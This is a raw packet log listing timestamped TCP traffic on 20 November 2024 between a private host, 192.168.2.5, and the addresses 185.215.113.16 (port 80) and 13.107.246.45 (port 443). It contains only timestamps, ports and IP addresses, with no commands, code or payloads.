Nov 20, 2024 06:40:20.316040039 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316054106 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316063881 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.316070080 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316095114 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316106081 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.316109896 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316127062 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316142082 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.316154003 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316159010 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.316168070 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316183090 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316196918 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316211939 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316217899 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.316226006 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316239119 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.316251040 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316262960 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.316267967 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316283941 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316298008 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316313982 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316320896 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.316329956 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316345930 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.316371918 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.316401005 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316416979 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316431046 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316464901 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.316523075 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316536903 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316550970 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316561937 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.316566944 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316582918 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316591978 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.316601038 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316617966 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.316641092 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316657066 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316672087 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316687107 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316693068 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.316700935 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316715956 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.316720963 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316739082 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.316744089 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316760063 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316793919 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.317022085 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.317035913 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.317050934 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.317059994 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.317065001 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.317080021 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.317085981 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.317095041 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.317111015 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.317126989 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.317128897 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.317151070 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.356255054 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.356272936 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.356288910 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.356312990 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.356313944 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.356328964 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.356342077 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.356343985 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.356360912 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.356374979 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.356375933 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.356393099 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.356405973 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.356409073 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.356426001 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.356431961 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.356472969 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.356522083 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.356539965 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.356555939 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.356591940 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.356591940 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.356609106 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.356623888 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.356631041 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.356658936 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.356822968 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.356841087 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.356858015 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.356872082 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.356880903 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.356889009 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.356904984 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.356909037 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.356920958 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.356941938 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.357124090 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357139111 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357152939 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357166052 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.357189894 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357206106 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357214928 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.357223034 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357238054 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357253075 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357258081 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.357269049 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357278109 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.357285023 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357300043 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357316017 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357322931 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.357331991 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357372999 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.357372999 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.357467890 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357481956 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357498884 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357525110 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.357706070 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357731104 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357745886 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357758045 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.357759953 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357779026 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357788086 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.357795000 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357810020 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357835054 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.357858896 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.357903004 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357917070 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357932091 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357945919 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357964039 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357979059 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.357984066 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.357984066 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.357995033 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.358009100 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.358017921 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.358032942 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.358043909 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.358047962 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.358066082 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.358108997 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.358201981 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.358217001 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.358232021 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.358278036 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.358278036 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.359287024 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.359302044 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.359327078 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.359349012 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.373776913 CET	443	49715	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.381299019 CET	443	49718	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.381664991 CET	49715	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.381692886 CET	443	49715	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.382122993 CET	49715	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.382128954 CET	443	49715	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.383789062 CET	49718	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.383826971 CET	443	49718	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.384146929 CET	49718	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.384159088 CET	443	49718	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.385181904 CET	443	49716	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.385507107 CET	49716	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.385520935 CET	443	49716	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.385927916 CET	49716	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.385937929 CET	443	49716	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.394669056 CET	443	49717	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.394973040 CET	49717	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.395000935 CET	443	49717	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.395382881 CET	49717	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.395389080 CET	443	49717	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.402401924 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.402420998 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.402448893 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.402465105 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.402463913 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.402481079 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.402497053 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.402498007 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.402513981 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.402527094 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.402529955 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.402551889 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.402556896 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.402571917 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.402596951 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.402612925 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.402612925 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.402627945 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.402637959 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.402645111 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.402661085 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.402683020 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.402712107 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.402729988 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.402746916 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.402793884 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.402846098 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.402862072 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.402878046 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.402893066 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.402909040 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.402920008 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.402924061 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.402940989 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.402945042 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.402970076 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.403070927 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403098106 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403122902 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403139114 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403146029 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.403157949 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403167963 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.403172016 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403198957 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.403230906 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403248072 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403273106 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403291941 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.403320074 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.403480053 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403496981 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403512001 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403527021 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403538942 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.403543949 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403558969 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403568029 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.403574944 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403589964 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403597116 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.403605938 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403620958 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403628111 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.403636932 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403651953 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403666019 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403676033 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.403698921 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.403806925 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403821945 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403839111 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403853893 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403865099 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.403871059 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.403886080 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.403913021 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.403974056 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.406250000 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.415471077 CET	443	49714	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.415791035 CET	49714	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.415823936 CET	443	49714	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.416130066 CET	49714	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.416136980 CET	443	49714	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.443088055 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443104982 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443121910 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443135023 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.443169117 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.443213940 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443231106 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443248034 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443265915 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443286896 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443288088 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.443305016 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443308115 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.443342924 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.443593025 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443608999 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443624020 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443639040 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443648100 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.443655968 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443670988 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443686962 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443698883 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.443701029 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443717003 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443726063 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.443733931 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443733931 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.443759918 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443774939 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443789959 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443799973 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.443805933 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443820953 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443820953 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.443836927 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443851948 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.443856001 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443878889 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.443880081 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443897009 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443912983 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.443918943 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.444004059 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444019079 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444041014 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444044113 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.444067001 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.444109917 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444124937 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444139957 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444155931 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444164038 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.444171906 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444185972 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444201946 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444212914 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.444212914 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.444217920 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444233894 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444261074 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.444279909 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.444493055 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444506884 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444521904 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444539070 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444550991 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.444554090 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444581032 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444582939 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.444597006 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444612026 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444622993 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.444628000 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444643974 CET	80	49713	185.215.113.16	192.168.2.5
